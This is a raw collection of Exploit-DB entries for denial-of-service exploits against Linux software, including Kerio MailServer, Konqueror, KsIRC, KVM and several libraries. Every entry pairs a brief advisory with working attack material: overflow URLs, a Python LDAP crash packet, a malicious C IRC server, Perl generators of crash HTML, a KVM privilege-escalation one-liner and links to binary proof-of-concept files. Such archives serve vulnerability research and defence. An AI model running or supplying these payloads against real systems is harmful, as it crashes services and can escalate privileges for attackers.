deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22802
Description: Kerio MailServer 5.6.3 list Module - Overflow
Type: dos
Platform: linux
Date: 2003-06-18
Author: David F.Madrid

Exploit:
source: https://www.securityfocus.com/bid/7967/info
  
Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.
  
Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process.

http://[Server]/list?folder=~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@localhost/INBOX
Exploit-DB #22800
Description: Kerio MailServer 5.6.3 subscribe Module - Overflow
Type: dos
Platform: linux
Date: 2003-06-18
Author: David F.Madrid

Exploit:
source: https://www.securityfocus.com/bid/7967/info

Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.

Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process. 

http://[server]/do_subscribe?showuser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
Exploit-DB #11736
Description: Kerio MailServer 6.2.2 - Remote Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2006-12-14
Author: Evgeny Legerov

Exploit:
#!/usr/bin/env python
# kms1.py - Kerio MailServer 6.2.2 preauth remote DoS
# fixed in Kerio MailServer 6.3.1
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.


"""
gdb backtrace:
# gdb -q ./mailserver core.18450
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Reading symbols from shared object read from target memory...(no debugging
symbols found)...done.
Loaded system supplied DSO at 0xb76000
Core was generated by `/opt/kerio/mailserver/mailserver /opt/kerio/mailserver'.
Program terminated with signal 11, Segmentation fault.
...
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
(gdb) bt
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
#1  0x0821c387 in LDAPSearchRequest::setAll ()
#2  0x08093d8a in Ber::getSearchRequest ()
#3  0x08205e48 in LDAPServer::search ()
#4  0x08207de0 in LDAPServer::server ()
#5  0x08207e2e in ldap_handler ()
#6  0x0841be13 in KServerTask::handler ()
#7  0x082033c6 in KThreadPool::workerThread ()
#8  0x086ee7b6 in kerio::tiny::thread ()
#9  0x00772b80 in start_thread () from /lib/libpthread.so.0
#10 0x00558dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0x821c444 <_ZN17LDAPSearchRequest17parsePagedResultsE13LDAPExtension+12>:
mov    (%eax),%edx
(gdb) i r eax
eax            0x449    1097
"""

from socket import *

host = "localhost"
port = 389

s =  "\x30\x82\x04\x4d\x02\x01\x26\x63\x82\x04\x46\x04\x00\x0a\x01\x02"
s += "\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62"
s += "\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x02\x04\x00\xa0\x82\x04"
s += "\x20\x30\x82\x04\x1c"
s += "\x01"*1024
s += "\x16\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x31"
s += "\x33\x35\x35\x36\x2e\x31\x2e\x34\x2e\x34\x37\x33\x01\x01\x00\x04"
s += "\x00"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host,port))
sock.sendall(s)
sock.recv(10000)
sock.close()

# milw0rm.com [2006-12-14]
Exploit-DB #47445
Description: kic 2.4a - Denial of Service
Type: dos
Platform: linux
Date: 2019-10-01
Author: JosueEncinar

Exploit:
# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
# Date: September 30, 2019
# Exploit Author: @JosueEncinar
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
# Version: 2.4a 
# Tested on: Ubuntu 18.04

'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.  
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);

If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''

# To test the code use Python 3.6+
from os import system
from sys import argv


def print_usage():
    print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
    print("      |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
    print("      |_Buffer Overflow: python3 ciftokic_overflow.py 81")

if len(argv) == 1:
    print_usage()
else:
    try:
        number = int(argv[1])
        payload = "J"*number
        system(f"ciftokic {payload}")
    except:
        print_usage()


"""

Output Example:

josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)

"""
Exploit-DB #21262
Description: kicq 2.0.0b1 - Invalid ICQ Packet Denial of Service
Type: dos
Platform: linux
Date: 2002-02-02
Author: Rafael San Miguel Carrasco

Exploit:
source: https://www.securityfocus.com/bid/4018/info

kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending "random" characters. This does not affect other components of the system, only the ICQ client.

bash-2.05$ telnet 10.0.0.1 1030
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
garbage
Connection closed by foreign host.
Exploit-DB #28816
Description: KMail 1.x - HTML Element Handling Denial of Service
Type: dos
Platform: linux
Date: 2006-10-16
Author: nnp

Exploit:
source: https://www.securityfocus.com/bid/20539/info

KMail is prone to an unspecified denial-of-service vulnerability. 

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 

KMail 1.9.1 and prior versions are vulnerable to this issue.

Return-Path: <nnp@torvalds>
X-Original-To: test
Delivered-To: test@torvalds
Received: by torvalds (Postfix, from userid 1000)
	id D854F83BF5; Tue, 26 Sep 2006 16:06:36 +0100 (IST)
To: test@torvalds
Content-Type: text/html
Subject: testing
Message-Id: <[PII_REDACTED]0636.D854F83BF5@torvalds>
Date: Tue, 26 Sep 2006 16:06:36 +0100 (IST)
From: nnp@torvalds (nnp)
Status: R
X-Status: NC
X-KMail-EncryptionState:  
X-KMail-SignatureState:  
X-KMail-MDN-Sent:  


<HTML>
<HEAD>

<TABLE <FRAMESET ROWS>
Exploit-DB #30580
Description: KMPlayer 2.9.3.1214 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: linux
Date: 2007-09-12
Author: Code Audit Labs

Exploit:
source: https://www.securityfocus.com/bid/25651/info

KMPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed AVI media files.

Successfully exploiting this issue allows remote attackers to deny service to legitimate users.

These issues affect KMPlayer 2.9.3.1210; other versions may also be vulnerable. 

new_avihead_poc1.avi
------------------------------------------
69 6E 64 78 FF FF FF FF 01 00 64 73 20 00 00 10

indx truck size 0xffffffff
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020

new_avihead_poc2.avi
------------------------------------------
69 6E 64 78 00 FF FF FF FF FF 64 73 FF FF FF FF

indx truck size 0xffffff00
wLongsPerEntry 0xffff
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0xFFFFFFFF

new_avihead_poc3.avi
------------------------------------------
69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
Exploit-DB #33672
Description: Kojoney 0.0.4.1 - 'urllib.urlopen()' Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-02-24
Author: Nicob

Exploit:
source: https://www.securityfocus.com/bid/38395/info

Kojoney is prone to a remote denial-of-service vulnerability.

A remote attacker can exploit this issue to gain unauthorized access to local files and crash the affected application, resulting in a denial-of-service condition.

Versions prior to Kojoney 0.0.4.2 are vulnerable. 

The following example URI is available:

file://localhost/dev/urandom
Exploit-DB #3415
Description: Konqueror 3.5.5 - JavaScript Read of FTP Iframe Denial of Service
Type: dos
Platform: linux
Date: 2007-03-05
Author: mark

Exploit:
<html>
<body>

Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p>
Simply load this file in Konqueror.  Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>

<script>
read_iframe = function(iframe_name) {
	var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
	alert(banner);
}

var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";
	
document.body.appendChild(iframe);

</script>
</body>
</html>

# milw0rm.com [2007-03-05]
Exploit-DB #6704
Description: Konqueror 3.5.9 - 'color'/'bgcolor' Multiple Remote Crash Vulnerabilities
Type: dos
Platform: linux
Date: 2008-10-08
Author: Jeremy Brown

Exploit:
KDE's Konqueror & Color Attribute Love

perl -e 'print "<html>\n" . "<font color=" . "A" x 500000 . ">\n</html>"' > kdie.html
perl -e 'print "<html>\n" . "<hr color=" . "A" x 500000 . ">\n</html>"' > kdie2.html
perl -e 'print "<html>\n" . "<table bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie3.html
perl -e 'print "<html>\n" . "<table bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie4.html
perl -e 'print "<html>\n" . "<td bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie5.html
perl -e 'print "<html>\n" . "<td bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie6.html
perl -e 'print "<html>\n" . "<tr bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie7.html
perl -e 'print "<html>\n" . "<tr bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie8.html

# milw0rm.com [2008-10-08]
Exploit-DB #6718
Description: Konqueror 3.5.9 - 'load' Remote Crash
Type: dos
Platform: linux
Date: 2008-10-10
Author: Jeremy Brown

Exploit:
<!--- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]
      Tested on Ubuntu 8.04 + Konqueror 3.5.9
      A product of my fuzzing projects :)                           -->
<html>
<script type="text/javascript">
document.load('');
</script>
</html>

# milw0rm.com [2008-10-10]
Exploit-DB #3023
Description: KsIRC 1.3.12 - 'PRIVMSG' Remote Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2006-12-26
Author: Federico L. Bossi Bonin

Exploit:
// KSirc 1.3.12 - PRIVMSG remote Buffer Overflow // PoC
//
// Federico L. Bossi Bonin 
// fbossi@globalst.com.ar
// www.GlobalST.com.ar


// #0  0xb7ea8792 in KSircIOController::stdout_read () from /usr/kde/3.5/lib/libkdeinit_ksirc.so
// #1  0xb7ea78c8 in KSircIOController::qt_invoke () from /usr/kde/3.5/lib/libkdeinit_ksirc.so
// #2  0xb6fedba4 in QObject::activate_signal () from /usr/qt/3/lib/libqt-mt.so.3
// #3  0xb765410b in KProcess::receivedStdout () from /usr/kde/3.5/lib/libkdecore.so.4
// #4  0x081a6e60 in ?? ()
// #5  0x081a7238 in ?? ()
// #6  0xbfcb0170 in ?? ()
// #7  0x00000000 in ?? ()

#include <stdio.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 6667
#define LEN 2500

char buffer[LEN*2];
void sendbuff(int sock) {
char ptr[LEN*2];
memset(buffer,0x0,sizeof(buffer));
memset(ptr,0x0,sizeof(ptr));
memset(ptr,0x41,LEN);
sprintf(buffer,"PRIVMSG  USER:%s\n\r",ptr);
read(sock,ptr,sizeof(ptr));
write(sock,buffer,sizeof(buffer));
}

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) { 
perror("error socket()"); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}


printf("KSirc 1.3.12 - PRIVMSG remote PoC\n");
printf("====================================\n");
printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
} 
return 0;
}

// milw0rm.com [2006-12-26]
Exploit-DB #44944
Description: KVM (Nested Virtualization) - L1 Guest Privilege Escalation
Type: dos
Platform: linux
Date: 2018-06-25
Author: Google Security Research

Exploit:
When KVM (on Intel) virtualizes another hypervisor as L1 VM it does not verify that VMX instructions from the L1 VM (which trigger a VM exit and are emulated by L0 KVM) are coming from ring 0.

For code running on bare metal or VMX root mode this is enforced by hardware. However, for code running in L1, the instruction always triggers a VM exit even when executed with cpl 3. This behavior is documented by Intel (example is for the VMPTRST instruction):

(Intel Manual 30-18 Vol. 3C) 
IF (register operand) or (not in VMX operation) or (CR0.PE = 0) or (RFLAGS.VM = 1) or (IA32_EFER.LMA = 1 and CS.L = 0)
 THEN #UD;
ELSIF in VMX non-root operation
 THEN VMexit;
ELSIF CPL > 0
 THEN #GP(0);
ELSE
 64-bit in-memory destination operand ← current-VMCS pointer;

This means that a normal user space program running in the L1 VM can trigger KVMs VMX emulation which gives a large number of privilege escalation vectors (fake VMCS or vmptrld / vmptrst to a kernel address are the first that come to mind). As VMX emulation code checks for the guests CR4.VMXE value this only works if a L2 guest is running. 

A somewhat realistic exploit scenario would involve someone breaking out of a L2 guest (for example by exploiting a bug in the L1 qemu process) and then using this bug for privilege escalation on the L1 system.  

Simple POC (tested on L0 and L1 running Ubuntu 18.04 4.15.0-22-generic). 
This requires that a L2 guest exists: 

echo 'main(){asm volatile ("vmptrst 0xffffffffc0031337");}'| gcc -xc - ; ./a.out

[ 2537.280319] BUG: unable to handle kernel paging request at ffffffffc0031337
Exploit-DB #42400
Description: libao 1.2.0 - Denial of Service
Type: dos
Platform: linux
Date: 2017-07-31
Author: qflb.wu

Exploit:
libao memory corruption vulnerability
================
Author : qflb.wu
===============


Introduction:
=============
Libao is a cross-platform audio library that allows programs to output audio using a simple API on a wide variety of platforms.


Affected version:
=====
1.2.0


Vulnerability Description:
==========================
the _tokenize_matrix function in audio_out.c in Xiph.Org libao 1.2.0 can cause a denial of service(memory corruption) via a crafted mp3 file.


I found this bug when I test mpg321 0.3.2 which used the libao library.


./mpg321 libao_1.2.0_memory_corruption.mp3


----debug info:----
Program received signal SIGSEGV, Segmentation fault.
_int_malloc (av=av@entry=0x7ffff6f7f760 <main_arena>, bytes=bytes@entry=3)
    at malloc.c:3740
3740malloc.c: No such file or directory.
(gdb) bt
#0  _int_malloc (av=av@entry=0x7ffff6f7f760 <main_arena>, bytes=bytes@entry=3)
    at malloc.c:3740
#1  0x00007ffff6c442cc in __libc_calloc (n=<optimized out>, 
    elem_size=<optimized out>) at malloc.c:3219
#2  0x00007ffff728e189 in _tokenize_matrix () from /usr/local/lib/libao.so.4
#3  0x00007ffff728e607 in _matrix_to_channelmask ()
   from /usr/local/lib/libao.so.4
#4  0x00007ffff72906f2 in _open_device () from /usr/local/lib/libao.so.4
#5  0x[PII_REDACTED]40a6aa in open_ao_playdevice (header=header@entry=0x624af8)
    at ao.c:411
#6  0x[PII_REDACTED]407e50 in output (data=<optimized out>, header=0x624af8, 
    pcm=0x627f44) at mad.c:974
#7  0x00007ffff749a85c in run_sync (decoder=0x7fffffffbc40) at decoder.c:439
#8  0x00007ffff749ab38 in mad_decoder_run (
    decoder=decoder@entry=0x7fffffffbc40, 
    mode=mode@entry=MAD_DECODER_MODE_SYNC) at decoder.c:557
#9  0x[PII_REDACTED]403d5d in main (argc=<optimized out>, argv=<optimized out>)
    at mpg321.c:1092
(gdb) 


POC:
libao_1.2.0_memory_corruption.mp3
CVE:
CVE-2017-11548


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42400.zip
Exploit-DB #30985
Description: libcdio 0.7x - GNU Compact Disc Input and Control Library Buffer Overflow
Type: dos
Platform: linux
Date: 2007-12-30
Author: Devon Miller

Exploit:
source: https://www.securityfocus.com/bid/27131/info

The GNU Compact Disc Input and Control Library ('libcdio') is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

The issues occur when the 'cd-info' and 'iso-info' programs handle specially crafted ISO files.

Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts likely result in denial-of-service conditions.

The issues affect libcdio 0.79; other versions may also be affected.

Steps to Reproduce:
1. mkdir -p tmp/dir1
2. echo file_with_really_really_long_silly_name_to_test_iso_info_buffer
3. mkisofs -J -R -volid My_Image -o test.iso tmp
4. iso-info -l test.iso
Exploit-DB #42147
Description: libcroco 0.6.12 - Denial of Service
Type: dos
Platform: linux
Date: 2017-06-09
Author: qflb.wu

Exploit:
libcroco multiple vulnerabilities
================
Author : qflb.wu
===============


Introduction:
=============
Libcroco is a standalone css2 parsing and manipulation library.
The parser provides a low level event driven SAC like api and a css object model like api.
Libcroco provides a CSS2 selection engine and an experimental xml/css rendering engine.


Affected version:
=====
0.6.12


Vulnerability Description:
==========================
1. 
the cr_tknzr_parse_comment function in cr-tknzr.c in libcroco 0.6.12 can cause a denial of service (memory allocation error) via a crafted CSS file.


./csslint-0.6 --dump-location libcroco_0_6_12_memory_allocation_error.css


==21841==ERROR: AddressSanitizer failed to allocate 0x20002000 (536879104) bytes of LargeMmapAllocator: 12
...
==21841==AddressSanitizer CHECK failed: /build/buildd/llvm-toolchain-3.4-3.4/projects/compiler-rt/lib/sanitizer_common/sanitizer_posix.cc:68 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0)
    ...
    #10 0x7fd78c2fcb4d in cr_tknzr_parse_comment /home/a/Downloads/libcroco-0.6.12/src/cr-tknzr.c:462
    #11 0x7fd78c2fcb4d in cr_tknzr_get_next_token /home/a/Downloads/libcroco-0.6.12/src/cr-tknzr.c:2218
    #12 0x7fd78c356f6e in cr_parser_try_to_skip_spaces_and_comments /home/a/Downloads/libcroco-0.6.12/src/cr-parser.c:634
    #13 0x7fd78c368a43 in cr_parser_parse_stylesheet /home/a/Downloads/libcroco-0.6.12/src/cr-parser.c:2538
    #14 0x7fd78c368a43 in cr_parser_parse /home/a/Downloads/libcroco-0.6.12/src/cr-parser.c:4381
    #15 0x480a8e in sac_parse_and_display_locations /home/a/Downloads/libcroco-0.6.12/csslint/csslint.c:960
    #16 0x480a8e in main /home/a/Downloads/libcroco-0.6.12/csslint/csslint.c:1001
    #17 0x7fd78b397f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
    #18 0x47c95c in _start (/home/a/Downloads/libcroco-0.6.12/csslint/.libs/lt-csslint-0.6+0x47c95c)


    Reproducer:
    libcroco_0_6_12_memory_allocation_error.css
    CVE:
    CVE-2017-8834


2.
The cr_parser_parse_selector_core function in cr-parser.c in libcroco 0.6.12 can cause a denial of service(infinite loop and CPU consumption) via a crafted CSS file.


./csslint-0.6 --dump-location libcroco_0_6_12_infinite_loop.css


Reproducer:
libcroco_0_6_12_infinite_loop.css
CVE:
CVE-2017-8871


===============================


qflb.wu () dbappsecurity com cn


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42147.zip
Exploit-DB #30024
Description: LibEXIF 0.6.x - Exif_Data_Load_Data_Entry Remote Integer Overflow
Type: dos
Platform: linux
Date: 2007-05-11
Author: Victor Stinner

Exploit:
source: https://www.securityfocus.com/bid/23927/info

The libexif library is prone to an integer-overflow vulnerability because the software fails to properly ensure that integer math operations do not result in overflows.

Successful exploits of this vulnerability allow remote attackers to execute arbitrary machine code in the context of an application using the vulnerable library. Failed attempts will likely result in denial-of-service conditions.

Versions of libexif prior to 0.6.14 are vulnerable to this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30024.jpg
Exploit-DB #29458
Description: Libgtop2 Library - Local Buffer Overflow
Type: dos
Platform: linux
Date: 2007-01-15
Author: Liu Qishuai

Exploit:
source: https://www.securityfocus.com/bid/22054/info

The 'libgtop2' library is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying into an insufficiently sized memory buffer.

An attacker may exploit this issue by enticing victims into viewing a maliciously crafted system process with an application that uses the affected library.

Successful exploits may cause arbitrary code to run with the privileges of the victim. Failed exploit attempts will likely cause denial-of-service conditions.

Versions prior to libgtop2 2.14.6 are reported vulnerable. 

export dir=$(perl -e " print 's/'x1000;")
mkdir -p $dir
cp /bin/sleep $dir
$dir/sleep 100 &
gnome-system-monitor